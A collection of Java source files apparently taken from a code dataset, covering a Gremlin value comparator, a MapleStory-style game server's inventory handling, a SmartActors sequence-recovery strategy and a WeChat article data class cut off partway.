return fi.hasNext() ? 1 : si.hasNext() ? -1 : 0;
};
/**
* Sort Map by entry-set.
*/
private static final Comparator<Map> mapComparator =
Comparator.comparing(Map::entrySet, iteratableComparator);
/**
* Sort Map.Entry first by key, then by value.
*/
private static final Comparator<Map.Entry> entryComparator =
Comparator.<Map.Entry,Object>comparing(Map.Entry::getKey, INSTANCE).thenComparing(Map.Entry::getValue, INSTANCE);
/**
* Sort unknown types first by classname, then by natural toString().
*/
private static final Comparator<Object> unknownTypeComparator =
Comparator.comparing(f -> f.getClass().getName()).thenComparing(Object::toString);
/**
* The typespace, along with their priorities and the comparators used to compare within each type.
*/
private enum Type {
Boolean (Boolean.class, 0, naturalOrderComparator),
Number (Number.class, 1, numberComparator),
Date (Date.class, 2, naturalOrderComparator),
String (String.class, 3, naturalOrderComparator),
UUID (UUID.class, 4, naturalOrderComparator),
Vertex (Vertex.class, 5, elementComparator),
Edge (Edge.class, 6, elementComparator),
VertexProperty (VertexProperty.class, 7, elementComparator),
Property (Property.class, 8, propertyComparator),
Path (Path.class, 9, iteratableComparator),
Set (Set.class, 10, iteratableComparator),
List (List.class, 11, iteratableComparator),
Map (Map.class, 12, mapComparator),
MapEntry (Map.Entry.class, 13, entryComparator),
Unknown (Object.class, 14, unknownTypeComparator);
/**
* Lookup by instanceof semantics (not class equality). Current implementation will return first enum value
* that matches the object's type.
*/
public static Type type(final Object o) {
final Type[] types = Type.values();
for (int i = 0; i < types.length; i++) {
if (types[i].type.isInstance(o)) {
return types[i];
}
}
return Unknown;
}
Type(Class type, int priority, Comparator comparator) {
this.type = type;
this.priority = priority;
this.comparator = comparator;
}
private final Class type;
private final int priority;
private final Comparator comparator;
}
/**
* Strip the Traverser layer and convert Enum to string.
*/
private static Object transform(Object o) {
// we want to sort the underlying object contained by the traverser
if (o instanceof Traverser)
o = ((Traverser) o).get();
// need to convert enum to string representations for comparison or else you can get cast exceptions.
// this typically happens when sorting local on the keys of maps that contain T
if (o instanceof Enum)
o = ((Enum) o).name();
return o;
}
private OrderabilityComparator() {}
/**
* Compare two non-null Gremlin value objects per the Comparability/Orderability semantics.
*/
@Override
public int compare(final Object f, final Object s) {
final Type ft = Type.type(f);
/*
* Do a quick check to catch very common cases - class equality or both numerics. Even if these are false we
* could still be dealing with the same type (e.g. different implementation of Vertex), but let the type lookup
* method handle that.
*/
final Type st = f.getClass().equals(s.getClass()) || (f instanceof Number && s instanceof Number) ?
ft : Type.type(s);
return ft != st ? ft.priority - st.priority : ft.comparator.compare(f, s);
}
}
| 39.742105 | 125 | 0.630513 |
a5a88dd1c9dc8e53340cff984ee9e109940d910f | 326 | package biz.churen.self.pl.simple.token;
import java.util.Map;
public interface Struct {
public String toStr();
public boolean reducible();
// public Struct reduce();
public Struct reduce(Map<String, Struct> env);
// big-step semantic
public Struct evaluate(Map<String, Struct> env);
}
| 23.285714 | 53 | 0.665644 |
0ebc940ef216dddedf6cadfe7aac93a5a0e31994 | 29,541 | package net.sf.odinms.server;
import java.awt.Point;
import java.util.Iterator;
import java.util.List;
import net.sf.odinms.client.Equip;
import net.sf.odinms.client.IItem;
import net.sf.odinms.client.InventoryException;
import net.sf.odinms.client.Item;
import net.sf.odinms.client.MapleBuffStat;
import net.sf.odinms.client.MapleCharacter;
import net.sf.odinms.client.MapleClient;
import net.sf.odinms.client.MapleInventoryType;
import net.sf.odinms.tools.MaplePacketCreator;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
*
* @author Matze
*/
public class MapleInventoryManipulator {
private static Logger log = LoggerFactory.getLogger(MapleInventoryManipulator.class);
public static void removeById(MapleClient c, MapleInventoryType type, int itemId, int quantity, boolean fromDrop, boolean consume, boolean v) {
List<IItem> items = c.getPlayer().getInventory(type).listById(itemId);
int remremove = quantity;
for (IItem item : items) {
if (remremove <= item.getQuantity()) {
removeFromSlot(c, type, item.getPosition(), (short) remremove, fromDrop, consume);
remremove = 0;
break;
} else {
remremove -= item.getQuantity();
removeFromSlot(c, type, item.getPosition(), item.getQuantity(), fromDrop, consume);
}
}
if (remremove > 0) {
throw new InventoryException("[h4x] Not enough items available (" + itemId + ", " + (quantity - remremove) +"/" + quantity + ")");
}
}
private MapleInventoryManipulator() {
}
public static boolean addRing(MapleCharacter chr, int itemId, int ringId) {
MapleItemInformationProvider ii = MapleItemInformationProvider.getInstance();
MapleInventoryType type = ii.getInventoryType(itemId);
IItem nEquip = ii.getEquipById(itemId, ringId);
byte newSlot = chr.getInventory(type).addItem(nEquip);
if (newSlot == -1) {
return false;
}
chr.getClient().getSession().write(MaplePacketCreator.addInventorySlot(type, nEquip));
return true;
}
public static boolean addFromDrop(MapleClient c, IItem item, String logInfo) {
MapleItemInformationProvider ii = MapleItemInformationProvider.getInstance();
MapleInventoryType type = ii.getInventoryType(item.getItemId());
if (!c.getChannelServer().allowMoreThanOne() && ii.isPickupRestricted(item.getItemId()) && c.getPlayer().haveItem(item.getItemId(), 1, true, false)) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.showItemUnavailable());
return false;
}
short quantity = item.getQuantity();
if (!type.equals(MapleInventoryType.EQUIP)) {
short slotMax = ii.getSlotMax(c, item.getItemId());
List<IItem> existing = c.getPlayer().getInventory(type).listById(item.getItemId());
if (!ii.isThrowingStar(item.getItemId()) && !ii.isBullet(item.getItemId())) {
if (existing.size() > 0) { // first update all existing slots to slotMax
Iterator<IItem> i = existing.iterator();
while (quantity > 0) {
if (i.hasNext()) {
Item eItem = (Item) i.next();
short oldQ = eItem.getQuantity();
if (oldQ < slotMax && item.getOwner().equals(eItem.getOwner())) {
short newQ = (short) Math.min(oldQ + quantity, slotMax);
quantity -= (newQ - oldQ);
eItem.setQuantity(newQ);
c.getSession().write(MaplePacketCreator.updateInventorySlot(type, eItem, true));
}
} else {
break;
}
}
}
}
while (quantity > 0 || ii.isThrowingStar(item.getItemId()) || ii.isBullet(item.getItemId())) {
short newQ = (short) Math.min(quantity, slotMax);
quantity -= newQ;
Item nItem = new Item(item.getItemId(), (byte) 0, newQ);
nItem.setOwner(item.getOwner());
byte newSlot = c.getPlayer().getInventory(type).addItem(nItem);
if (newSlot == -1) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.getShowInventoryFull());
item.setQuantity((short) (quantity + newQ));
return false;
}
c.getSession().write(MaplePacketCreator.addInventorySlot(type, nItem, true));
if ((ii.isThrowingStar(item.getItemId()) || ii.isBullet(item.getItemId())) && quantity == 0) {
break;
}
}
} else {
if (quantity == 1) {
byte newSlot = c.getPlayer().getInventory(type).addItem(item);
if (newSlot == -1) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.getShowInventoryFull());
return false;
}
c.getSession().write(MaplePacketCreator.addInventorySlot(type, item, true));
} else {
throw new RuntimeException("Trying to create equip with non-one quantity");
}
}
c.getSession().write(MaplePacketCreator.getShowItemGain(item.getItemId(), item.getQuantity()));
return true;
}
public static boolean addById(MapleClient c, int itemId, short quantity, String logInfo) {
return addById(c, itemId, quantity, logInfo, null);
}
public static boolean addById(MapleClient c, int itemId, short quantity, String logInfo, String owner) {
return addById(c, itemId, quantity, logInfo, owner, -1);
}
public static boolean addById(MapleClient c, int itemId, short quantity, String logInfo, String owner, int petid) {
MapleItemInformationProvider ii = MapleItemInformationProvider.getInstance();
MapleInventoryType type = ii.getInventoryType(itemId);
if (!type.equals(MapleInventoryType.EQUIP)) {
short slotMax = ii.getSlotMax(c, itemId);
List<IItem> existing = c.getPlayer().getInventory(type).listById(itemId);
if (!ii.isThrowingStar(itemId) && !ii.isBullet(itemId)) {
if (existing.size() > 0) { // first update all existing slots to slotMax
Iterator<IItem> i = existing.iterator();
while (quantity > 0) {
if (i.hasNext()) {
Item eItem = (Item) i.next();
short oldQ = eItem.getQuantity();
if (oldQ < slotMax && (eItem.getOwner().equals(owner) || owner == null)) {
short newQ = (short) Math.min(oldQ + quantity, slotMax);
quantity -= (newQ - oldQ);
eItem.setQuantity(newQ);
c.getSession().write(MaplePacketCreator.updateInventorySlot(type, eItem));
}
} else {
break;
}
}
}
while (quantity > 0 || ii.isThrowingStar(itemId) || ii.isBullet(itemId)) {
short newQ = (short) Math.min(quantity, slotMax);
if (newQ != 0) {
quantity -= newQ;
Item nItem = new Item(itemId, (byte) 0, newQ, petid);
byte newSlot = c.getPlayer().getInventory(type).addItem(nItem);
if (newSlot == -1) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.getShowInventoryFull());
return false;
}
if (owner != null) {
nItem.setOwner(owner);
}
c.getSession().write(MaplePacketCreator.addInventorySlot(type, nItem));
if ((ii.isThrowingStar(itemId) || ii.isBullet(itemId)) && quantity == 0) {
break;
}
} else {
c.getSession().write(MaplePacketCreator.enableActions());
return false;
}
}
} else {
Item nItem = new Item(itemId, (byte) 0, quantity);
byte newSlot = c.getPlayer().getInventory(type).addItem(nItem);
if (newSlot == -1) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.getShowInventoryFull());
return false;
}
c.getSession().write(MaplePacketCreator.addInventorySlot(type, nItem));
c.getSession().write(MaplePacketCreator.enableActions());
}
} else {
if (quantity == 1) {
IItem nEquip = ii.getEquipById(itemId);
StringBuilder logMsg = new StringBuilder("Created while adding by id. (");
logMsg.append(logInfo);
logMsg.append(" )");
nEquip.log(logMsg.toString(), false);
if (owner != null) {
nEquip.setOwner(owner);
}
byte newSlot = c.getPlayer().getInventory(type).addItem(nEquip);
if (newSlot == -1) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.getShowInventoryFull());
return false;
}
c.getSession().write(MaplePacketCreator.addInventorySlot(type, nEquip));
} else {
throw new InventoryException("Trying to create equip with non-one quantity");
}
}
return true;
}
public static boolean addFromDrop(MapleClient c, IItem item, String logInfo, boolean show) {
MapleItemInformationProvider ii = MapleItemInformationProvider.getInstance();
MapleInventoryType type = ii.getInventoryType(item.getItemId());
if (!c.getChannelServer().allowMoreThanOne() && ii.isPickupRestricted(item.getItemId()) && c.getPlayer().haveItem(item.getItemId(), 1, true, false)) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.showItemUnavailable());
return false;
}
short quantity = item.getQuantity();
if (!type.equals(MapleInventoryType.EQUIP)) {
short slotMax = ii.getSlotMax(c, item.getItemId());
List<IItem> existing = c.getPlayer().getInventory(type).listById(item.getItemId());
if (!ii.isThrowingStar(item.getItemId()) && !ii.isBullet(item.getItemId())) {
if (existing.size() > 0) { // first update all existing slots to slotMax
Iterator<IItem> i = existing.iterator();
while (quantity > 0) {
if (i.hasNext()) {
Item eItem = (Item) i.next();
short oldQ = eItem.getQuantity();
if (oldQ < slotMax && item.getOwner().equals(eItem.getOwner())) {
short newQ = (short) Math.min(oldQ + quantity, slotMax);
quantity -= (newQ - oldQ);
eItem.setQuantity(newQ);
c.getSession().write(MaplePacketCreator.updateInventorySlot(type, eItem, true));
}
} else {
break;
}
}
}
// add new slots if there is still something left
while (quantity > 0 || ii.isThrowingStar(item.getItemId()) || ii.isBullet(item.getItemId())) {
short newQ = (short) Math.min(quantity, slotMax);
quantity -= newQ;
Item nItem = new Item(item.getItemId(), (byte) 0, newQ);
nItem.setOwner(item.getOwner());
byte newSlot = c.getPlayer().getInventory(type).addItem(nItem);
if (newSlot == -1) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.getShowInventoryFull());
item.setQuantity((short) (quantity + newQ));
return false;
}
c.getSession().write(MaplePacketCreator.addInventorySlot(type, nItem, true));
}
} else {
// Throwing Stars and Bullets - Add all into one slot regardless of quantity.
Item nItem = new Item(item.getItemId(), (byte) 0, quantity);
byte newSlot = c.getPlayer().getInventory(type).addItem(nItem);
if (newSlot == -1) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.getShowInventoryFull());
return false;
}
c.getSession().write(MaplePacketCreator.addInventorySlot(type, nItem));
c.getSession().write(MaplePacketCreator.enableActions());
}
} else {
if (quantity == 1) {
byte newSlot = c.getPlayer().getInventory(type).addItem(item);
if (newSlot == -1) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.getShowInventoryFull());
return false;
}
c.getSession().write(MaplePacketCreator.addInventorySlot(type, item, true));
} else {
throw new RuntimeException("Trying to create equip with non-one quantity");
}
}
if (show) {
c.getSession().write(MaplePacketCreator.getShowItemGain(item.getItemId(), item.getQuantity()));
}
return true;
}
public static boolean checkSpace(MapleClient c, int itemid, int quantity, String owner) {
MapleItemInformationProvider ii = MapleItemInformationProvider.getInstance();
MapleInventoryType type = ii.getInventoryType(itemid);
if (!type.equals(MapleInventoryType.EQUIP)) {
short slotMax = ii.getSlotMax(c, itemid);
List<IItem> existing = c.getPlayer().getInventory(type).listById(itemid);
if (!ii.isThrowingStar(itemid) && !ii.isBullet(itemid)) {
if (existing.size() > 0) { // first update all existing slots to slotMax
for (IItem eItem : existing) {
short oldQ = eItem.getQuantity();
if (oldQ < slotMax && owner.equals(eItem.getOwner())) {
short newQ = (short) Math.min(oldQ + quantity, slotMax);
quantity -= (newQ - oldQ);
}
if (quantity <= 0) {
break;
}
}
}
}
// add new slots if there is still something left
final int numSlotsNeeded;
if (slotMax > 0) {
numSlotsNeeded = (int) (Math.ceil(((double) quantity) / slotMax));
} else if (ii.isThrowingStar(itemid) || ii.isBullet(itemid)) {
numSlotsNeeded = 1;
} else {
numSlotsNeeded = 1;
log.error("SUCK ERROR - FIX ME! - 0 slotMax");
}
return !c.getPlayer().getInventory(type).isFull(numSlotsNeeded - 1);
} else {
return !c.getPlayer().getInventory(type).isFull();
}
}
public static void removeFromSlot(MapleClient c, MapleInventoryType type, byte slot, short quantity, boolean fromDrop) {
removeFromSlot(c, type, slot, quantity, fromDrop, false);
}
public static void removeFromSlot(MapleClient c, MapleInventoryType type, byte slot, short quantity, boolean fromDrop, boolean consume) {
IItem item = c.getPlayer().getInventory(type).getItem(slot);
MapleItemInformationProvider ii = MapleItemInformationProvider.getInstance();
boolean allowZero = consume && (ii.isThrowingStar(item.getItemId()) || ii.isBullet(item.getItemId()));
c.getPlayer().getInventory(type).removeItem(slot, quantity, allowZero);
if (item.getQuantity() == 0 && !allowZero) {
c.getSession().write(MaplePacketCreator.clearInventoryItem(type, item.getPosition(), fromDrop));
} else {
c.getSession().write(MaplePacketCreator.updateInventorySlot(type, (Item) item, fromDrop));
}
}
public static void removeById(MapleClient c, MapleInventoryType type, int itemId, int quantity, boolean fromDrop, boolean consume) {
List<IItem> items = c.getPlayer().getInventory(type).listById(itemId);
int remremove = quantity;
for (IItem item : items) {
if (remremove <= item.getQuantity()) {
removeFromSlot(c, type, item.getPosition(), (short) remremove, fromDrop, consume);
remremove = 0;
break;
} else {
remremove -= item.getQuantity();
removeFromSlot(c, type, item.getPosition(), item.getQuantity(), fromDrop, consume);
}
}
if (remremove > 0) {
throw new InventoryException("[h4x] Not enough items available (" + itemId + ", " + (quantity - remremove) + "/" + quantity + ")");
}
}
public static void move(MapleClient c, MapleInventoryType type, byte src, byte dst) {
if (src < 0 || dst < 0) {
return;
}
MapleItemInformationProvider ii = MapleItemInformationProvider.getInstance();
IItem source = c.getPlayer().getInventory(type).getItem(src);
IItem initialTarget = c.getPlayer().getInventory(type).getItem(dst);
if (source == null) {
return;
}
short olddstQ = -1;
if (initialTarget != null) {
olddstQ = initialTarget.getQuantity();
}
short oldsrcQ = source.getQuantity();
short slotMax = ii.getSlotMax(c, source.getItemId());
c.getPlayer().getInventory(type).move(src, dst, slotMax);
if (!type.equals(MapleInventoryType.EQUIP) && initialTarget != null &&initialTarget.getItemId() == source.getItemId() && !ii.isThrowingStar(source.getItemId()) &&!ii.isBullet(source.getItemId())) {
if ((olddstQ + oldsrcQ) > slotMax) {
c.getSession().write(MaplePacketCreator.moveAndMergeWithRestInventoryItem(type, src, dst,(short) ((olddstQ + oldsrcQ) - slotMax), slotMax));
} else {
c.getSession().write(MaplePacketCreator.moveAndMergeInventoryItem(type, src, dst, ((Item) c.getPlayer().getInventory(type).getItem(dst)).getQuantity()));
}
} else {
c.getSession().write(MaplePacketCreator.moveInventoryItem(type, src, dst));
}
}
public static void equip(MapleClient c, byte src, byte dst) {
MapleItemInformationProvider ii = MapleItemInformationProvider.getInstance();
Equip source = (Equip) c.getPlayer().getInventory(MapleInventoryType.EQUIP).getItem(src);
Equip target = (Equip) c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem(dst);
if (source == null) {
return;
}
if (dst == -6) {
// unequip the overall
IItem top = c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem((byte) -5);
if (top != null && ii.isOverall(top.getItemId())) {
if (c.getPlayer().getInventory(MapleInventoryType.EQUIP).isFull()) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.getShowInventoryFull());
return;
}
unequip(c, (byte) -5, c.getPlayer().getInventory(MapleInventoryType.EQUIP).getNextFreeSlot());
}
} else if (dst == -5) {
// unequip the bottom and top
IItem top = c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem((byte) -5);
IItem bottom = c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem((byte) -6);
if (top != null && ii.isOverall(source.getItemId())) {
if (c.getPlayer().getInventory(MapleInventoryType.EQUIP).isFull(bottom != null && ii.isOverall(source.getItemId()) ? 1 : 0)) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.getShowInventoryFull());
return;
}
unequip(c, (byte) -5, c.getPlayer().getInventory(MapleInventoryType.EQUIP).getNextFreeSlot());
}
if (bottom != null && ii.isOverall(source.getItemId())) {
if (c.getPlayer().getInventory(MapleInventoryType.EQUIP).isFull()) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.getShowInventoryFull());
return;
}
unequip(c, (byte) -6, c.getPlayer().getInventory(MapleInventoryType.EQUIP).getNextFreeSlot());
}
} else if (dst == -10) {
// check if weapon is two-handed
IItem weapon = c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem((byte) -11);
if (weapon != null && ii.isTwoHanded(weapon.getItemId())) {
if (c.getPlayer().getInventory(MapleInventoryType.EQUIP).isFull()) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.getShowInventoryFull());
return;
}
unequip(c, (byte) -11, c.getPlayer().getInventory(MapleInventoryType.EQUIP).getNextFreeSlot());
}
} else if (dst == -11) {
IItem shield = c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem((byte) -10);
if (shield != null && ii.isTwoHanded(source.getItemId())) {
if (c.getPlayer().getInventory(MapleInventoryType.EQUIP).isFull()) {
c.getSession().write(MaplePacketCreator.getInventoryFull());
c.getSession().write(MaplePacketCreator.getShowInventoryFull());
return;
}
unequip(c, (byte) -10, c.getPlayer().getInventory(MapleInventoryType.EQUIP).getNextFreeSlot());
}
}
if (dst == -18) {
if (c.getPlayer().getMount() != null) {
c.getPlayer().getMount().setItemId(source.getItemId()); //update mount itemid
}
}
source = (Equip) c.getPlayer().getInventory(MapleInventoryType.EQUIP).getItem(src);
target = (Equip) c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem(dst);
c.getPlayer().getInventory(MapleInventoryType.EQUIP).removeSlot(src);
if (target != null) {
c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).removeSlot(dst);
}
source.setPosition(dst);
c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).addFromDB(source);
if (target != null) {
target.setPosition(src);
c.getPlayer().getInventory(MapleInventoryType.EQUIP).addFromDB(target);
}
if (c.getPlayer().getBuffedValue(MapleBuffStat.BOOSTER) != null && ii.isWeapon(source.getItemId())) {
c.getPlayer().cancelBuffStats(MapleBuffStat.BOOSTER);
}
c.getSession().write(MaplePacketCreator.moveInventoryItem(MapleInventoryType.EQUIP, src, dst, (byte) 2));
c.getPlayer().equipChanged();
}
public static void unequip(MapleClient c, byte src, byte dst) {
Equip source = (Equip) c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).getItem(src);
Equip target = (Equip) c.getPlayer().getInventory(MapleInventoryType.EQUIP).getItem(dst);
if (dst < 0) {
log.warn("Unequipping to negative slot. ({}: {}->{})", new Object[]{c.getPlayer().getName(), src, dst});
}
if (source == null) {
return;
}
if (target != null && src <= 0) {
// do not allow switching with equip
c.getSession().write(MaplePacketCreator.getInventoryFull());
return;
}
c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).removeSlot(src);
if (target != null) {
c.getPlayer().getInventory(MapleInventoryType.EQUIP).removeSlot(dst);
}
source.setPosition(dst);
c.getPlayer().getInventory(MapleInventoryType.EQUIP).addFromDB(source);
if (target != null) {
target.setPosition(src);
c.getPlayer().getInventory(MapleInventoryType.EQUIPPED).addFromDB(target);
}
c.getSession().write(MaplePacketCreator.moveInventoryItem(MapleInventoryType.EQUIP, src, dst, (byte) 1));
c.getPlayer().equipChanged();
}
public static void drop(MapleClient c, MapleInventoryType type, byte src, short quantity) {
MapleItemInformationProvider ii = MapleItemInformationProvider.getInstance();
if (src < 0) {
type = MapleInventoryType.EQUIPPED;
}
IItem source = c.getPlayer().getInventory(type).getItem(src);
if (quantity < 0 || source == null || quantity == 0 && !ii.isThrowingStar(source.getItemId()) && !ii.isBullet(source.getItemId())) {
c.getSession().close(); // disconnect the client as is inventory is inconsistent with the serverside inventory -> fuck
return;
}
Point dropPos = new Point(c.getPlayer().getPosition());
if (quantity < source.getQuantity() && !ii.isThrowingStar(source.getItemId()) && !ii.isBullet(source.getItemId())) {
IItem target = source.copy();
target.setQuantity(quantity);
source.setQuantity((short) (source.getQuantity() - quantity));
c.getSession().write(MaplePacketCreator.dropInventoryItemUpdate(type, source));
boolean weddingRing = source.getItemId() == 1112803 || source.getItemId() == 1112806 || source.getItemId() == 1112807 || source.getItemId() == 1112809;
if (weddingRing) {
c.getPlayer().getMap().disappearingItemDrop(c.getPlayer(), c.getPlayer(), target, dropPos);
} else if (c.getPlayer().getMap().getEverlast()) {
if (!c.getChannelServer().allowUndroppablesDrop() && ii.isDropRestricted(target.getItemId())) {
c.getPlayer().getMap().disappearingItemDrop(c.getPlayer(), c.getPlayer(), target, dropPos);
} else {
c.getPlayer().getMap().spawnItemDrop(c.getPlayer(), c.getPlayer(), target, dropPos, true, false);
}
} else {
if (!c.getChannelServer().allowUndroppablesDrop() && ii.isDropRestricted(target.getItemId())) {
c.getPlayer().getMap().disappearingItemDrop(c.getPlayer(), c.getPlayer(), target, dropPos);
} else {
c.getPlayer().getMap().spawnItemDrop(c.getPlayer(), c.getPlayer(), target, dropPos, true, true);
}
}
} else {
c.getPlayer().getInventory(type).removeSlot(src);
c.getSession().write(MaplePacketCreator.dropInventoryItem(
(src < 0 ? MapleInventoryType.EQUIP : type), src));
if (src < 0) {
c.getPlayer().equipChanged();
}
if (c.getPlayer().getMap().getEverlast()) {
if (!c.getChannelServer().allowUndroppablesDrop() && ii.isDropRestricted(source.getItemId())) {
c.getPlayer().getMap().disappearingItemDrop(c.getPlayer(), c.getPlayer(), source, dropPos);
} else {
c.getPlayer().getMap().spawnItemDrop(c.getPlayer(), c.getPlayer(), source, dropPos, true, false);
}
} else {
if (!c.getChannelServer().allowUndroppablesDrop() && ii.isDropRestricted(source.getItemId())) {
c.getPlayer().getMap().disappearingItemDrop(c.getPlayer(), c.getPlayer(), source, dropPos);
} else {
c.getPlayer().getMap().spawnItemDrop(c.getPlayer(), c.getPlayer(), source, dropPos, true, true);
}
}
}
}
} | 53.131295 | 205 | 0.559257 |
5ede5c7e997ecb6ff857329f79cd2ed687c45223 | 4,490 | package info.smart_tools.smartactors.message_processing.message_processing_sequence.dump_recovery;
import info.smart_tools.smartactors.base.exception.invalid_argument_exception.InvalidArgumentException;
import info.smart_tools.smartactors.base.interfaces.iresolve_dependency_strategy.IResolveDependencyStrategy;
import info.smart_tools.smartactors.base.interfaces.iresolve_dependency_strategy.exception.ResolveDependencyStrategyException;
import info.smart_tools.smartactors.iobject.ifield_name.IFieldName;
import info.smart_tools.smartactors.iobject.iobject.IObject;
import info.smart_tools.smartactors.iobject.iobject.exception.ReadValueException;
import info.smart_tools.smartactors.ioc.iioccontainer.exception.ResolutionException;
import info.smart_tools.smartactors.ioc.ioc.IOC;
import info.smart_tools.smartactors.ioc.named_keys_storage.Keys;
import info.smart_tools.smartactors.message_processing.message_processing_sequence.MessageProcessingSequence;
import info.smart_tools.smartactors.message_processing_interfaces.ichain_storage.IChainStorage;
import info.smart_tools.smartactors.message_processing_interfaces.ichain_storage.exceptions.ChainNotFoundException;
import info.smart_tools.smartactors.message_processing_interfaces.message_processing.IMessageProcessingSequence;
import info.smart_tools.smartactors.message_processing_interfaces.message_processing.exceptions.NestedChainStackOverflowException;
import java.util.Collection;
import java.util.Iterator;
/**
* IOC strategy that recovers a {@link MessageProcessingSequence} from {@link IObject} created by call of {@link
* MessageProcessingSequence#dump(IObject) dump()} method of original sequence.
*/
public class MessageProcessingSequenceRecoveryStrategy implements IResolveDependencyStrategy {
private final IFieldName stepsStackFieldName;
private final IFieldName chainsStackFieldName;
private final IFieldName maxDepthFieldName;
private final IFieldName chainsDumpFieldName;
/**
* The constructor.
*
* @throws ResolutionException if resolution of any dependencies failed
*/
public MessageProcessingSequenceRecoveryStrategy()
throws ResolutionException {
stepsStackFieldName = IOC.resolve(Keys.getOrAdd("info.smart_tools.smartactors.iobject.ifield_name.IFieldName"), "stepsStack");
chainsStackFieldName = IOC.resolve(Keys.getOrAdd("info.smart_tools.smartactors.iobject.ifield_name.IFieldName"), "chainsStack");
maxDepthFieldName = IOC.resolve(Keys.getOrAdd("info.smart_tools.smartactors.iobject.ifield_name.IFieldName"), "maxDepth");
chainsDumpFieldName = IOC.resolve(Keys.getOrAdd("info.smart_tools.smartactors.iobject.ifield_name.IFieldName"), "chainsDump");
}
@Override
public <T> T resolve(final Object... args) throws ResolveDependencyStrategyException {
try {
IObject dump = (IObject) args[0];
int maxDepth = ((Number) dump.getValue(maxDepthFieldName)).intValue();
Iterator stepStack = ((Collection) dump.getValue(stepsStackFieldName)).iterator();
Iterator chainsStack = ((Collection) dump.getValue(chainsStackFieldName)).iterator();
IObject chainsDump = (IObject) dump.getValue(chainsDumpFieldName);
IChainStorage storage = new ChainStorageDecorator(
IOC.resolve(Keys.getOrAdd(IChainStorage.class.getCanonicalName())),
chainsDump);
Object mainChainId = IOC.resolve(Keys.getOrAdd("chain_id_from_map_name"), chainsStack.next());
int mainChainPos = ((Number) stepStack.next()).intValue();
IMessageProcessingSequence sequence = new MessageProcessingSequence(maxDepth, storage.resolve(mainChainId));
sequence.goTo(0, mainChainPos + 1);
int level = 1;
while (stepStack.hasNext()) {
Object chainId = IOC.resolve(Keys.getOrAdd("chain_id_from_map_name"), chainsStack.next());
int pos = ((Number) stepStack.next()).intValue();
sequence.callChain(storage.resolve(chainId));
sequence.goTo(level++, pos + 1);
}
sequence.next();
return (T) sequence;
} catch (ResolutionException | ReadValueException | InvalidArgumentException | ClassCastException | ChainNotFoundException
| NestedChainStackOverflowException e) {
throw new ResolveDependencyStrategyException(e);
}
}
}
| 54.096386 | 136 | 0.757238 |
51f2d0c6bd5bb17dea9ddfb7e6376a642eae07d2 | 4,646 | package me.chanjar.weixin.mp.bean.material;
import me.chanjar.weixin.common.util.ToStringUtils;
import me.chanjar.weixin.mp.util.json.WxMpGsonBuilder;
import java.io.Serializable;
import java.util.Date;
import java.util.ArrayList;
import java.util.List;
public class WxMpMaterialNews implements Serializable {
private static final long serialVersionUID = -3283203652013494976L;
private Date createdTime;
private Date updatedTime;
private List<WxMpMaterialNewsArticle> articles = new ArrayList<>();
public List<WxMpMaterialNewsArticle> getArticles() {
return this.articles;
}
public void addArticle(WxMpMaterialNewsArticle article) {
this.articles.add(article);
}
public String toJson() {
return WxMpGsonBuilder.INSTANCE.create().toJson(this);
}
public boolean isEmpty() {
return this.articles == null || this.articles.isEmpty();
}
public Date getCreatedTime() {
return this.createdTime;
}
public void setCreatedTime(Date createdTime) {
this.createdTime = createdTime;
}
public Date getUpdatedTime() {
return this.updatedTime;
}
public void setUpdatedTime(Date updatedTime) {
this.updatedTime = updatedTime;
}
@Override
public String toString() {
return this.toJson();
}
/**
* <pre>
* 群发图文消息article
* 1. thumbMediaId (必填) 图文消息的封面图片素材id(必须是永久mediaID)
* 2. author 图文消息的作者
* 3. title (必填) 图文消息的标题
* 4. contentSourceUrl 在图文消息页面点击“阅读原文”后的页面链接
* 5. content (必填) 图文消息页面的内容,支持HTML标签
* 6. digest 图文消息的描述
* 7. showCoverPic 是否显示封面,true为显示,false为不显示
* 8. url 点击图文消息跳转链接
* 9. need_open_comment(新增字段) 否 Uint32 是否打开评论,0不打开,1打开
* 10. only_fans_can_comment(新增字段) 否 Uint32 是否粉丝才可评论,0所有人可评论,1粉丝才可评论
* </pre>
*
* @author chanjarster
*/
public static class WxMpMaterialNewsArticle {
/**
* (必填) 图文消息缩略图的media_id,可以在基础支持-上传多媒体文件接口中获得
*/
private String thumbMediaId;
/**
* 图文消息的封面url
*/
private String thumbUrl;
/**
* 图文消息的作者
*/
private String author;
/**
* (必填) 图文消息的标题
*/
private String title;
/**
* 在图文消息页面点击“阅读原文”后的页面链接
*/
private String contentSourceUrl;
/**
* (必填) 图文消息页面的内容,支持HTML标签
*/
private String content;
/**
* 图文消息的描述
*/
private String digest;
/**
* 是否显示封面,true为显示,false为不显示
*/
private boolean showCoverPic;
/**
